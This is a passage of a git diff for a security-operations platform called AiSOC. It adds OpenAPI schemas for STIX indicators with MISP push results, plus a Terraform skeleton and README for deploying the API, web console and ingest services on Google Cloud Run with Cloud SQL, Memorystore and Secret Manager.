auto_push+ - ok+ title: MispPushHealth+ MispPushResult:+ properties:+ pushed:+ type: boolean+ title: Pushed+ misp_event_id:+ anyOf:+ - type: string+ - type: 'null'+ title: Misp Event Id+ misp_event_uuid:+ anyOf:+ - type: string+ - type: 'null'+ title: Misp Event Uuid+ url:+ anyOf:+ - type: string+ - type: 'null'+ title: Url+ pushed_attributes:+ anyOf:+ - type: integer+ - type: 'null'+ title: Pushed Attributes+ skipped_attributes:+ anyOf:+ - type: integer+ - type: 'null'+ title: Skipped Attributes+ error:+ anyOf:+ - type: string+ - type: 'null'+ title: Error+ type: object+ required:+ - pushed+ title: MispPushResult+ description: Embedded in a STIX response when ``push_to_misp=true``.MitreCoverageCell:properties:techniqueId:@@ -18394,6 +18679,16 @@ components:type: stringformat: date-timetitle: Created At+ engine:+ type: string+ title: Engine+ description: '`deterministic` or `llm`.'+ default: deterministic+ grammar_validated:+ type: boolean+ title: Grammar Validated+ description: True if every emitted query passed grammar checks.+ default: trueresult:anyOf:- $ref: '#/components/schemas/QueryResult'@@ -18462,6 +18757,16 @@ components:type: stringformat: date-timetitle: Created At+ engine:+ type: string+ title: Engine+ description: '`deterministic` or `llm`.'+ default: deterministic+ grammar_validated:+ type: boolean+ title: Grammar Validated+ description: True if every emitted query passed grammar checks.+ default: truetype: objectrequired:- request_id@@ -20296,6 +20601,38 @@ components:required:- objectstitle: STIXBundleCreate+ STIXBundleWithPush:+ properties:+ type:+ type: string+ title: Type+ default: bundle+ id:+ type: string+ title: Id+ spec_version:+ type: string+ title: Spec Version+ default: '2.1'+ created:+ type: string+ title: Created+ objects:+ items:+ additionalProperties: true+ type: object+ type: array+ title: Objects+ misp:+ anyOf:+ - $ref: '#/components/schemas/MispPushResult'+ - type: 'null'+ type: object+ required:+ - id+ - created+ - objects+ title: STIXBundleWithPushSTIXIndicator:properties:type:@@ -20417,6 +20754,80 @@ components:- name- patterntitle: STIXIndicatorCreate+ STIXIndicatorWithPush:+ properties:+ type:+ type: string+ title: Type+ default: indicator+ spec_version:+ type: string+ title: Spec Version+ default: '2.1'+ id:+ type: string+ title: Id+ created:+ type: string+ title: Created+ modified:+ type: string+ title: Modified+ name:+ type: string+ title: Name+ description:+ anyOf:+ - type: string+ - type: 'null'+ title: Description+ indicator_types:+ items:+ type: string+ type: array+ title: Indicator Types+ default: []+ pattern:+ type: string+ title: Pattern+ pattern_type:+ type: string+ title: Pattern Type+ default: stix+ valid_from:+ type: string+ title: Valid From+ valid_until:+ anyOf:+ - type: string+ - type: 'null'+ title: Valid Until+ confidence:+ anyOf:+ - type: integer+ maximum: 100.0+ minimum: 0.0+ - type: 'null'+ title: Confidence+ labels:+ items:+ type: string+ type: array+ title: Labels+ default: []+ misp:+ anyOf:+ - $ref: '#/components/schemas/MispPushResult'+ - type: 'null'+ type: object+ required:+ - id+ - created+ - modified+ - name+ - pattern+ - valid_from+ title: STIXIndicatorWithPushSavedViewModel:properties:id:diff --git a/infra/terraform/gcp/.gitignore b/infra/terraform/gcp/.gitignorenew file mode 100644index 000000000..8aef1b6e7--- /dev/null+++ b/infra/terraform/gcp/.gitignore@@ -0,0 +1,20 @@+# Operator-supplied values — never commit+terraform.tfvars+*.auto.tfvars++# Local state when running without a remote backend+terraform.tfstate+terraform.tfstate.backup+*.tfstate.*.backup++# Plan artifacts+tfplan+*.tfplan++# Module + provider cache+.terraform/+.terraform.lock.hcl.local++# OS / editor noise+.DS_Store+*.swpdiff --git a/infra/terraform/gcp/README.md b/infra/terraform/gcp/README.mdnew file mode 100644index 000000000..d328f9df3--- /dev/null+++ b/infra/terraform/gcp/README.md@@ -0,0 +1,193 @@+# AiSOC on Google Cloud — Terraform skeleton++A serverless-first deployment of the AiSOC stack on Google Cloud Platform:++- **Cloud Run v2** for the API (FastAPI), web console (Next.js), and ingest gateway+- **Cloud SQL for PostgreSQL 16** for the application database (private IP)+- **Memorystore for Redis 7.2** for queues, rate limits, and websocket fan-out+- **Secret Manager** for the application secrets (DB password, `SECRET_KEY`,+ `AISOC_CREDENTIAL_KEY`, Redis auth, optional `OPENAI_API_KEY`)+- **Artifact Registry** as the container registry CI pushes to+- **Serverless VPC Access connector** so Cloud Run can reach Cloud SQL and+ Memorystore over private IPs++> This is the **skeleton** — a buyer-friendly starting point that runs the+> three customer-visible services. Long-running workloads (`agents`,+> `realtime`, `connectors`, `threatintel`, `alert-fusion`) need a managed+> instance group or GKE Autopilot and are deferred to a follow-up plan.+> See [Limitations](#limitations) below.++## Layout++```+infra/terraform/gcp/+├── README.md ← you are here+├── versions.tf ← terraform + provider pinning+├── variables.tf ← input variables (defaults targeting startup credit)+├── main.tf ← APIs, VPC, VPC connector, Artifact Registry+├── database.tf ← Cloud SQL + database + user+├── redis.tf ← Memorystore for Redis+├── secrets.tf ← Secret Manager entries (generated + optional)+├── iam.tf ← per-service runtime service accounts + bindings+├── cloud_run.tf ← api / web / ingest Cloud Run v2 services+├── outputs.tf ← URLs, connection strings, secret IDs+└── terraform.tfvars.example ← copy → terraform.tfvars and fill in+```++Files are split by concern, not by module, to keep the skeleton legible. Lift+into modules when you start running multiple environments off the same code.++## Prerequisites++1. **A GCP project** with billing attached. The skeleton enables every API it+ needs, but billing must already be linked.+2. **`gcloud` authenticated** as a principal that can create service accounts,+ secrets, and Cloud Run services in that project (project Owner is the+ simplest grant; principle-of-least-privilege bundles like+ `roles/run.admin` + `roles/iam.serviceAccountAdmin` ++ `roles/secretmanager.admin` + `roles/cloudsql.admin` work too).+3. **Terraform 1.7+** and the Google provider 5.40+ (the lockfile pins the+ exact versions on first init).+4. (Optional) **A GCS bucket for remote state.** Highly recommended for+ anything beyond a personal sandbox; see *State backend* below.++## Quick start++```bash+cd infra/terraform/gcp+cp terraform.tfvars.example terraform.tfvars+$EDITOR terraform.tfvars # at minimum set project_id++terraform init+terraform plan -out tfplan # review the proposed plan+terraform apply tfplan+```++A full apply against an empty project takes ~12 minutes — most of that is the+Cloud SQL instance and the service-networking peering. After the apply+finishes, the `api_url`, `web_url`, and `ingest_url` outputs are reachable+immediately if `allow_unauthenticated` is `true` (the default).++## State backend++Terraform state is **not configured** by default so you can pick what fits.+For anything shared across operators, use GCS:++1. Create the state bucket once (outside Terraform), versioning enabled:+ ```bash+ gcloud storage buckets create gs://aisoc-tfstate-<project-id> \+ --project=<project-id> \+ --location=us-central1 \+ --uniform-bucket-level-access+ gcloud storage buckets update gs://aisoc-tfstate-<project-id> \+ --versioning+ ```+2. Uncomment the `backend "gcs"` block at the top of `versions.tf`:+ ```hcl+ backend "gcs" {+ bucket = "aisoc-tfstate-<project-id>"+ prefix = "gcp"+ }+ ```+3. Re-run `terraform init -migrate-state`.++## Container images++The defaults point at the public GHCR demo images+(`ghcr.io/beenuar/aisoc-{api,web,ingest}:latest`) so the skeleton runs with+zero CI work. For a real deployment, push your own images to the Artifact+Registry repo this stack provisions:++```bash+gcloud auth configure-docker us-central1-docker.pkg.dev++REPO=$(terraform output -raw artifact_registry_repo)++docker build -t $REPO/api:$(git rev-parse --short HEAD) services/api+docker push $REPO/api:$(git rev-parse --short HEAD)+# repeat for web + ingest++# Then point Cloud Run at the new tags:+terraform apply \+ -var "api_image=$REPO/api:<sha>" \+ -var "web_image=$REPO/web:<sha>" \+ -var "ingest_image=$REPO/ingest:<sha>"+```++## Connecting to Cloud SQL from your laptop++The instance has no public IP. Use the [Cloud SQL Auth+Proxy](https://cloud.google.com/sql/docs/postgres/sql-proxy):++```bash+INSTANCE=$(terraform output -raw sql_connection_name)+PASSWORD=$(gcloud secrets versions access latest \+ --secret=$(terraform output -raw secret_postgres_password_id))++cloud-sql-proxy --port 5432 "$INSTANCE" &+PGPASSWORD="$PASSWORD" psql -h 127.0.0.1 -U aisoc aisoc+```++## Costs++Defaults are chosen so a fresh apply against a project that's never run a+demo before fits inside the 90-day startup credit envelope:++| Resource | Default | ~Monthly cost (us-central1) |+| --------------------- | ------------------ | --------------------------- |+| Cloud SQL Postgres | `db-custom-2-7680` | ~$95 |+| Memorystore Redis | `BASIC` 1 GB | ~$30 |+| VPC Access connector | 2× e2-micro | ~$10 |+| Cloud Run (idle) | 0–10 instances | ~$0 (scale-to-zero) |+| Artifact Registry | empty repo | ~$0 |++Tune `postgres_tier` and `redis_memory_size_gb` in `terraform.tfvars` for a+cheaper sandbox; the smallest sensible production is `db-custom-2-7680` ++`STANDARD_HA` Redis.++## Limitations++This is the **skeleton**, not the full migration. Known gaps:++- **No long-running services.** `services/agents`, `services/realtime`,+ `services/connectors`, `services/alert-fusion`, `services/threatintel`, and+ `services/fusion` need persistent compute. Cloud Run v2 *does* support sidecar+ workloads up to 60 minutes per request, but the websocket fan-out and the+ APScheduler-driven connector polling don't fit cleanly. The recommended+ follow-up is GKE Autopilot for those workloads, sharing the VPC and Cloud+ SQL provisioned here.+- **No HTTPS load balancer.** Cloud Run gives every service a `*.run.app`+ certificate that's fine for the skeleton. Wire a Global External+ HTTPS Load Balancer + Cloud Armor in front of the API for a custom domain+ and WAF.+- **No Kafka / message bus.** The AiSOC ingest path can run on Redis Streams+ alone for the buyer-value demo. For higher throughput, swap in+ Confluent Cloud or run Kafka on GKE.+- **No BYOK envelope encryption.** Secret Manager is the secret store;+ customer-managed encryption keys (CMEK) on Cloud SQL / Memorystore /+ Artifact Registry are a one-line addition (`encryption_key_name = ...`)+ and intentionally left out of the skeleton to keep the trust boundary+ small.+- **Demo image source.** `ghcr.io/beenuar/aisoc-*` is the default for the+ zero-config experience; don't ship that to production. See *Container+ images* above.++For the full GCP migration plan (multi-tenant, Kafka, GKE Autopilot,+observability, CMEK), see the v1.1 roadmap in the project's planning docs.++## Tear-down++```bash+terraform destroy+```++Cloud SQL will refuse to delete unless `deletion_protection=false`. Either+flip the variable and re-apply first, or destroy via:++```bash+terraform apply -var deletion_protection=false+terraform destroy+```++The Secret Manager secrets and the Artifact Registry repo are deleted with+the rest of the stack; back up anything you want to keep first.diff --git a/infra/terraform/gcp/cloud_run.tf b/infra/terraform/gcp/cloud_run.tfnew file mode 100644index 000000000..743f2158e--- /dev/null+++ b/infra/terraform/gcp/cloud_run.tf@@ -0,0 +1,350 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Cloud Run v2 services for the three customer-visible workloads:+ *+ * - api — FastAPI control plane+ * - web — Next.js console+ * - ingest — Go fan-in service that accepts /v1/ingest/batch+ *+ * Long-running workloads (agents, alert-fusion, realtime, threatintel,+ * connectors, fusion, ocsf) intentionally aren't on Cloud Run — they belong+ * on a managed instance group or GKE Autopilot in a follow-up plan because+ * Cloud Run's request lifecycle doesn't fit websocket fan-out or scheduler+ * loops. The skeleton here ships the surface that customers see first.+ */++# ─── Shared env / wiring ─────────────────────────────────────────────────────++locals {+ # Cloud SQL connection name format: project:region:instance.+ sql_connection_name = google_sql_database_instance.main.connection_name++ # We construct DATABASE_URL from the per-service env injection rather than+ # storing the whole URL in Secret Manager so the password rotates cleanly+ # via random_password.postgres_user without rewriting the URL.+ database_url_template = "postgresql+asyncpg://${var.postgres_user}:%s@/%s?host=/cloudsql/${local.sql_connection_name}"++ # Memorystore exposes a private IP; the auth string is held in Secret Manager.+ redis_host = google_redis_instance.main.host+ redis_port = google_redis_instance.main.port+}++# ─── API ─────────────────────────────────────────────────────────────────────++resource "google_cloud_run_v2_service" "api" {+ name = "${var.name_prefix}-api"+ location = var.region+ ingress = "INGRESS_TRAFFIC_ALL"+ labels = var.labels++ template {+ service_account = google_service_account.api.email++ scaling {+ min_instance_count = var.api_min_instances+ max_instance_count = var.api_max_instances+ }++ vpc_access {+ connector = google_vpc_access_connector.main.id+ egress = "PRIVATE_RANGES_ONLY"+ }++ volumes {+ name = "cloudsql"+ cloud_sql_instance {+ instances = [local.sql_connection_name]+ }+ }++ containers {+ image = var.api_image++ ports {+ container_port = 8000+ }++ resources {+ limits = {+ cpu = "2"+ memory = "1Gi"+ }+ cpu_idle = true+ startup_cpu_boost = true+ }++ volume_mounts {+ name = "cloudsql"+ mount_path = "/cloudsql"+ }++ # ── Static config ──────────────────────────────────────────────────────+ env {+ name = "AISOC_DEPLOYMENT"+ value = "gcp-cloudrun"+ }+ env {+ name = "ENVIRONMENT"+ value = "production"+ }+ env {+ name = "POSTGRES_DB"+ value = var.postgres_db_name+ }+ env {+ name = "POSTGRES_USER"+ value = var.postgres_user+ }+ env {+ name = "POSTGRES_HOST"+ value = "/cloudsql/${local.sql_connection_name}"+ }+ env {+ name = "REDIS_HOST"+ value = local.redis_host+ }+ env {+ name = "REDIS_PORT"+ value = tostring(local.redis_port)+ }+ env {+ name = "CORS_ORIGINS"+ value = var.cors_origins+ }++ # ── Secret-backed env ──────────────────────────────────────────────────+ env {+ name = "POSTGRES_PASSWORD"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.postgres_password.secret_id+ version = "latest"+ }+ }+ }+ env {+ name = "SECRET_KEY"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.secret_key.secret_id+ version = "latest"+ }+ }+ }+ env {+ name = "AISOC_CREDENTIAL_KEY"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.credential_key.secret_id+ version = "latest"+ }+ }+ }+ env {+ name = "REDIS_PASSWORD"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.redis_auth.secret_id+ version = "latest"+ }+ }+ }++ dynamic "env" {+ for_each = var.openai_api_key == "" ? [] : [1]+ content {+ name = "OPENAI_API_KEY"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.openai_api_key[0].secret_id+ version = "latest"+ }+ }+ }+ }+ }+ }++ traffic {+ type = "TRAFFIC_TARGET_ALLOCATION_TYPE_LATEST"+ percent = 100+ }++ depends_on = [+ google_project_service.enabled,+ google_secret_manager_secret_iam_member.api,+ google_sql_user.aisoc,+ ]+}++# ─── Web ─────────────────────────────────────────────────────────────────────++resource "google_cloud_run_v2_service" "web" {+ name = "${var.name_prefix}-web"+ location = var.region+ ingress = "INGRESS_TRAFFIC_ALL"+ labels = var.labels++ template {+ service_account = google_service_account.web.email++ scaling {+ min_instance_count = 0+ max_instance_count = var.web_max_instances+ }++ containers {+ image = var.web_image++ ports {+ container_port = 3000+ }++ resources {+ limits = {+ cpu = "1"+ memory = "512Mi"+ }+ cpu_idle = true+ startup_cpu_boost = true+ }++ env {+ name = "AISOC_DEPLOYMENT"+ value = "gcp-cloudrun"+ }+ env {+ name = "NEXT_PUBLIC_API_URL"+ value = google_cloud_run_v2_service.api.uri+ }+ env {+ name = "NODE_ENV"+ value = "production"+ }+ }+ }++ traffic {+ type = "TRAFFIC_TARGET_ALLOCATION_TYPE_LATEST"+ percent = 100+ }++ depends_on = [google_project_service.enabled]+}++# ─── Ingest ──────────────────────────────────────────────────────────────────++resource "google_cloud_run_v2_service" "ingest" {+ name = "${var.name_prefix}-ingest"+ location = var.region+ ingress = "INGRESS_TRAFFIC_ALL"+ labels = var.labels++ template {+ service_account = google_service_account.ingest.email++ scaling {+ min_instance_count = 0+ max_instance_count = var.ingest_max_instances+ }++ vpc_access {+ connector = google_vpc_access_connector.main.id+ egress = "PRIVATE_RANGES_ONLY"+ }++ volumes {+ name = "cloudsql"+ cloud_sql_instance {+ instances = [local.sql_connection_name]+ }+ }++ containers {+ image = var.ingest_image++ ports {+ container_port = 8080+ }++ resources {+ limits = {+ cpu = "1"+ memory = "512Mi"+ }+ cpu_idle = true+ startup_cpu_boost = true+ }++ volume_mounts {+ name = "cloudsql"+ mount_path = "/cloudsql"+ }++ env {+ name = "AISOC_DEPLOYMENT"+ value = "gcp-cloudrun"+ }+ env {+ name = "POSTGRES_DB"+ value = var.postgres_db_name+ }+ env {+ name = "POSTGRES_USER"+ value = var.postgres_user+ }+ env {+ name = "POSTGRES_HOST"+ value = "/cloudsql/${local.sql_connection_name}"+ }+ env {+ name = "REDIS_HOST"+ value = local.redis_host+ }+ env {+ name = "REDIS_PORT"+ value = tostring(local.redis_port)+ }++ env {+ name = "POSTGRES_PASSWORD"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.postgres_password.secret_id+ version = "latest"+ }+ }+ }+ env {+ name = "SECRET_KEY"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.secret_key.secret_id+ version = "latest"+ }+ }+ }+ env {+ name = "REDIS_PASSWORD"+ value_source {+ secret_key_ref {+ secret = google_secret_manager_secret.redis_auth.secret_id+ version = "latest"+ }+ }+ }+ }+ }++ traffic {+ type = "TRAFFIC_TARGET_ALLOCATION_TYPE_LATEST"+ percent = 100+ }++ depends_on = [+ google_project_service.enabled,+ google_secret_manager_secret_iam_member.ingest,+ google_sql_user.aisoc,+ ]+}diff --git a/infra/terraform/gcp/database.tf b/infra/terraform/gcp/database.tfnew file mode 100644index 000000000..dd82e19ad--- /dev/null+++ b/infra/terraform/gcp/database.tf@@ -0,0 +1,68 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Cloud SQL for Postgres, private-IP only, peered to the VPC defined in+ * main.tf. The application user password is randomly generated and stored+ * in Secret Manager (see secrets.tf) so it never lands in tfvars.+ */++resource "random_password" "postgres_user" {+ length = 32+ special = true+ override_special = "!@#%^&*()-_=+[]{}<>"+}++resource "google_sql_database_instance" "main" {+ name = "${var.name_prefix}-pg"+ database_version = var.postgres_version+ region = var.region+ deletion_protection = var.deletion_protection++ depends_on = [google_service_networking_connection.private_service]++ settings {+ tier = var.postgres_tier+ availability_type = var.redis_tier == "STANDARD_HA" ? "REGIONAL" : "ZONAL"+ disk_size = var.postgres_disk_size_gb+ disk_type = "PD_SSD"+ disk_autoresize = true++ user_labels = var.labels++ backup_configuration {+ enabled = true+ point_in_time_recovery_enabled = true+ start_time = "03:00"+ transaction_log_retention_days = 7+ }++ ip_configuration {+ ipv4_enabled = false+ private_network = google_compute_network.vpc.id+ ssl_mode = "ENCRYPTED_ONLY"+ }++ insights_config {+ query_insights_enabled = true+ query_string_length = 1024+ record_application_tags = true+ record_client_address = false+ }++ database_flags {+ name = "log_min_duration_statement"+ value = "1000"+ }+ }+}++resource "google_sql_database" "aisoc" {+ name = var.postgres_db_name+ instance = google_sql_database_instance.main.name+}++resource "google_sql_user" "aisoc" {+ name = var.postgres_user+ instance = google_sql_database_instance.main.name+ password = random_password.postgres_user.result+}diff --git a/infra/terraform/gcp/iam.tf b/infra/terraform/gcp/iam.tfnew file mode 100644index 000000000..37c35dbfa--- /dev/null+++ b/infra/terraform/gcp/iam.tf@@ -0,0 +1,142 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Per-service runtime identities. Cloud Run services run as dedicated SAs so+ * IAM bindings stay scoped to one service at a time. The compute default SA+ * is intentionally not used.+ */++# ─── Service accounts ───────────────────────────────────────────────────────++resource "google_service_account" "api" {+ account_id = "${var.name_prefix}-api"+ display_name = "AiSOC API runtime"+ description = "Runtime identity for the AiSOC FastAPI Cloud Run service."+}++resource "google_service_account" "web" {+ account_id = "${var.name_prefix}-web"+ display_name = "AiSOC web runtime"+ description = "Runtime identity for the AiSOC Next.js Cloud Run service."+}++resource "google_service_account" "ingest" {+ account_id = "${var.name_prefix}-ingest"+ display_name = "AiSOC ingest runtime"+ description = "Runtime identity for the AiSOC ingest Cloud Run service."+}++# ─── Common bindings ─────────────────────────────────────────────────────────+#+# Every runtime SA needs to:+# - pull images from Artifact Registry+# - read/write logs and metrics+# - connect to Cloud SQL via the connector++locals {+ runtime_service_accounts = {+ api = google_service_account.api.email+ web = google_service_account.web.email+ ingest = google_service_account.ingest.email+ }++ # role => description (kept inline for readability)+ shared_runtime_roles = [+ "roles/artifactregistry.reader",+ "roles/cloudsql.client",+ "roles/logging.logWriter",+ "roles/monitoring.metricWriter",+ "roles/cloudtrace.agent",+ ]++ # Flatten {sa, role} pairs for for_each.+ runtime_role_bindings = {+ for pair in setproduct(keys(local.runtime_service_accounts), local.shared_runtime_roles) :+ "${pair[0]}-${replace(pair[1], "/", "_")}" => {+ service_account = local.runtime_service_accounts[pair[0]]+ role = pair[1]+ }+ }+}++resource "google_project_iam_member" "runtime_shared" {+ for_each = local.runtime_role_bindings++ project = var.project_id+ role = each.value.role+ member = "serviceAccount:${each.value.service_account}"+}++# ─── Secret Manager access ───────────────────────────────────────────────────+#+# Only API and ingest read secrets at runtime. The web service is a Next.js+# bundle that talks to the API over HTTP — it doesn't need DB or vault keys.++locals {+ api_secrets = compact([+ google_secret_manager_secret.postgres_password.id,+ google_secret_manager_secret.secret_key.id,+ google_secret_manager_secret.credential_key.id,+ google_secret_manager_secret.redis_auth.id,+ var.openai_api_key == "" ? "" : google_secret_manager_secret.openai_api_key[0].id,+ ])++ ingest_secrets = [+ google_secret_manager_secret.postgres_password.id,+ google_secret_manager_secret.secret_key.id,+ google_secret_manager_secret.redis_auth.id,+ ]+}++resource "google_secret_manager_secret_iam_member" "api" {+ for_each = toset(local.api_secrets)++ secret_id = each.value+ role = "roles/secretmanager.secretAccessor"+ member = "serviceAccount:${google_service_account.api.email}"+}++resource "google_secret_manager_secret_iam_member" "ingest" {+ for_each = toset(local.ingest_secrets)++ secret_id = each.value+ role = "roles/secretmanager.secretAccessor"+ member = "serviceAccount:${google_service_account.ingest.email}"+}++# ─── Public invoker bindings ─────────────────────────────────────────────────+#+# Optional. When var.allow_unauthenticated is true (the default for a demo+# stack), Cloud Run services are reachable from the public internet. Flip the+# variable to false for a private deployment fronted by IAP or Cloud Load+# Balancer.++resource "google_cloud_run_v2_service_iam_member" "api_invoker" {+ count = var.allow_unauthenticated ? 1 : 0++ project = var.project_id+ location = var.region+ name = google_cloud_run_v2_service.api.name+ role = "roles/run.invoker"+ member = "allUsers"+}++resource "google_cloud_run_v2_service_iam_member" "web_invoker" {+ count = var.allow_unauthenticated ? 1 : 0++ project = var.project_id+ location = var.region+ name = google_cloud_run_v2_service.web.name+ role = "roles/run.invoker"+ member = "allUsers"+}++resource "google_cloud_run_v2_service_iam_member" "ingest_invoker" {+ count = var.allow_unauthenticated ? 1 : 0++ project = var.project_id+ location = var.region+ name = google_cloud_run_v2_service.ingest.name+ role = "roles/run.invoker"+ member = "allUsers"+}diff --git a/infra/terraform/gcp/main.tf b/infra/terraform/gcp/main.tfnew file mode 100644index 000000000..a8cc3bc17--- /dev/null+++ b/infra/terraform/gcp/main.tf@@ -0,0 +1,111 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Bootstraps shared resources required by every other file in this stack:+ * - the GCP APIs the rest of the stack needs+ * - a private VPC + Serverless VPC Access connector for Cloud Run egress+ * - a regional Artifact Registry repo for AiSOC container images+ *+ * Service-specific resources live in:+ * database.tf — Cloud SQL (Postgres)+ * redis.tf — Memorystore (Redis)+ * secrets.tf — Secret Manager entries+ * iam.tf — runtime service accounts+ * cloud_run.tf — api / web / ingest services+ */++# ─── Required APIs ───────────────────────────────────────────────────────────++locals {+ required_apis = [+ "run.googleapis.com",+ "sqladmin.googleapis.com",+ "redis.googleapis.com",+ "secretmanager.googleapis.com",+ "artifactregistry.googleapis.com",+ "compute.googleapis.com",+ "vpcaccess.googleapis.com",+ "servicenetworking.googleapis.com",+ "iam.googleapis.com",+ "iamcredentials.googleapis.com",+ "cloudresourcemanager.googleapis.com",+ ]+}++resource "google_project_service" "enabled" {+ for_each = toset(local.required_apis)++ project = var.project_id+ service = each.value+ disable_on_destroy = false+ disable_dependent_services = false+}++# ─── Network ─────────────────────────────────────────────────────────────────+#+# A small dedicated VPC keeps Cloud SQL on private IP and lets Cloud Run reach+# both Postgres and Memorystore over the connector below. Public IP egress is+# unchanged for the services themselves.++resource "google_compute_network" "vpc" {+ name = "${var.name_prefix}-vpc"+ auto_create_subnetworks = false+ routing_mode = "REGIONAL"++ depends_on = [google_project_service.enabled]+}++resource "google_compute_subnetwork" "primary" {+ name = "${var.name_prefix}-subnet"+ region = var.region+ network = google_compute_network.vpc.id+ ip_cidr_range = var.vpc_cidr+ private_ip_google_access = true+}++# Reserved IP range used by service networking (Cloud SQL private IP, Memorystore).+resource "google_compute_global_address" "private_service" {+ name = "${var.name_prefix}-psa-range"+ purpose = "VPC_PEERING"+ address_type = "INTERNAL"+ prefix_length = 16+ network = google_compute_network.vpc.id+}++resource "google_service_networking_connection" "private_service" {+ network = google_compute_network.vpc.id+ service = "servicenetworking.googleapis.com"+ reserved_peering_ranges = [google_compute_global_address.private_service.name]++ depends_on = [google_project_service.enabled]+}++# Serverless VPC Access connector — Cloud Run uses this to reach Cloud SQL+# (private IP) and Memorystore.+resource "google_vpc_access_connector" "main" {+ name = "${var.name_prefix}-vpcconn"+ region = var.region+ network = google_compute_network.vpc.name+ ip_cidr_range = var.vpc_connector_cidr+ min_instances = 2+ max_instances = 3+ machine_type = "e2-micro"++ depends_on = [google_project_service.enabled]+}++# ─── Artifact Registry ───────────────────────────────────────────────────────+#+# Optional but recommended. CI can push images here instead of GHCR; Cloud Run+# pulls them with the runtime SA's roles/artifactregistry.reader binding (set+# in iam.tf).++resource "google_artifact_registry_repository" "containers" {+ location = var.region+ repository_id = "${var.name_prefix}-containers"+ description = "Container images for AiSOC services."+ format = "DOCKER"+ labels = var.labels++ depends_on = [google_project_service.enabled]+}diff --git a/infra/terraform/gcp/outputs.tf b/infra/terraform/gcp/outputs.tfnew file mode 100644index 000000000..ffe1fa0c5--- /dev/null+++ b/infra/terraform/gcp/outputs.tf@@ -0,0 +1,113 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Outputs are scoped to what an operator needs immediately after+ * `terraform apply`: the public service URLs, the connection strings the API+ * will dial, and the IDs needed by the matching CI workflow that pushes+ * container images.+ */++# ─── Cloud Run URLs ──────────────────────────────────────────────────────────++output "api_url" {+ description = "Public Cloud Run URL for the AiSOC API."+ value = google_cloud_run_v2_service.api.uri+}++output "web_url" {+ description = "Public Cloud Run URL for the AiSOC web console."+ value = google_cloud_run_v2_service.web.uri+}++output "ingest_url" {+ description = "Public Cloud Run URL for the AiSOC ingest endpoint."+ value = google_cloud_run_v2_service.ingest.uri+}++# ─── Cloud SQL ───────────────────────────────────────────────────────────────++output "sql_instance_name" {+ description = "Cloud SQL instance name (use with gcloud sql connect)."+ value = google_sql_database_instance.main.name+}++output "sql_connection_name" {+ description = "Cloud SQL connection name (project:region:instance) for the Cloud SQL Auth Proxy."+ value = google_sql_database_instance.main.connection_name+}++output "sql_private_ip" {+ description = "Private IP of the Cloud SQL instance."+ value = google_sql_database_instance.main.private_ip_address+}++output "sql_database" {+ description = "Application database name inside the Cloud SQL instance."+ value = google_sql_database.aisoc.name+}++# ─── Memorystore ─────────────────────────────────────────────────────────────++output "redis_host" {+ description = "Private IP of the Memorystore Redis instance."+ value = google_redis_instance.main.host+}++output "redis_port" {+ description = "Port of the Memorystore Redis instance."+ value = google_redis_instance.main.port+}++# ─── Artifact Registry ───────────────────────────────────────────────────────++output "artifact_registry_repo" {+ description = "Fully-qualified Artifact Registry repo (region-docker.pkg.dev/project/repo) for CI image pushes."+ value = "${var.region}-docker.pkg.dev/${var.project_id}/${google_artifact_registry_repository.containers.repository_id}"+}++# ─── Service accounts ────────────────────────────────────────────────────────++output "service_account_api" {+ description = "Email of the API runtime service account."+ value = google_service_account.api.email+}++output "service_account_web" {+ description = "Email of the web runtime service account."+ value = google_service_account.web.email+}++output "service_account_ingest" {+ description = "Email of the ingest runtime service account."+ value = google_service_account.ingest.email+}++# ─── Secret IDs ──────────────────────────────────────────────────────────────+#+# These are the resource IDs (not the secret values). Useful for ad-hoc+# `gcloud secrets versions access latest --secret=<id>` after apply.++output "secret_postgres_password_id" {+ description = "Secret Manager ID for the Postgres application password."+ value = google_secret_manager_secret.postgres_password.secret_id+}++output "secret_secret_key_id" {+ description = "Secret Manager ID for the AiSOC SECRET_KEY."+ value = google_secret_manager_secret.secret_key.secret_id+}++output "secret_credential_key_id" {+ description = "Secret Manager ID for the CredentialVault Fernet key."+ value = google_secret_manager_secret.credential_key.secret_id+}++output "secret_redis_auth_id" {+ description = "Secret Manager ID for the Memorystore Redis auth string."+ value = google_secret_manager_secret.redis_auth.secret_id+}++output "secret_openai_api_key_id" {+ description = "Secret Manager ID for the OpenAI API key (null when not provisioned)."+ value = var.openai_api_key == "" ? null : google_secret_manager_secret.openai_api_key[0].secret_id+}diff --git a/infra/terraform/gcp/redis.tf b/infra/terraform/gcp/redis.tfnew file mode 100644index 000000000..b621871f9--- /dev/null+++ b/infra/terraform/gcp/redis.tf@@ -0,0 +1,23 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Memorystore for Redis, private to the VPC. Used for Celery / queue+ * coordination, FastAPI rate limiting, and websocket fan-out.+ */++resource "google_redis_instance" "main" {+ name = "${var.name_prefix}-redis"+ tier = var.redis_tier+ memory_size_gb = var.redis_memory_size_gb+ region = var.region++ authorized_network = google_compute_network.vpc.id+ connect_mode = "PRIVATE_SERVICE_ACCESS"+ redis_version = var.redis_version+ transit_encryption_mode = "SERVER_AUTHENTICATION"+ auth_enabled = true++ labels = var.labels++ depends_on = [google_service_networking_connection.private_service]+}diff --git a/infra/terraform/gcp/secrets.tf b/infra/terraform/gcp/secrets.tfnew file mode 100644index 000000000..27de84eee--- /dev/null+++ b/infra/terraform/gcp/secrets.tf@@ -0,0 +1,120 @@+/**+ * AiSOC — GCP serverless skeleton+ *+ * Secret Manager entries that Cloud Run mounts as environment variables.+ *+ * The runtime SAs are granted secretAccessor in iam.tf so we don't have to+ * inline that role here.+ */++# ─── Generated secrets ───────────────────────────────────────────────────────+# These never appear in tfvars or state diffs; they are produced by random_*+# resources and only their secret IDs cross the trust boundary.++resource "random_password" "secret_key" {+ length = 64+ special = false+}++resource "random_password" "credential_key" {+ # CredentialVault uses Fernet which expects a 32-byte url-safe base64 key.+ # 32 random bytes -> base64 is a valid Fernet 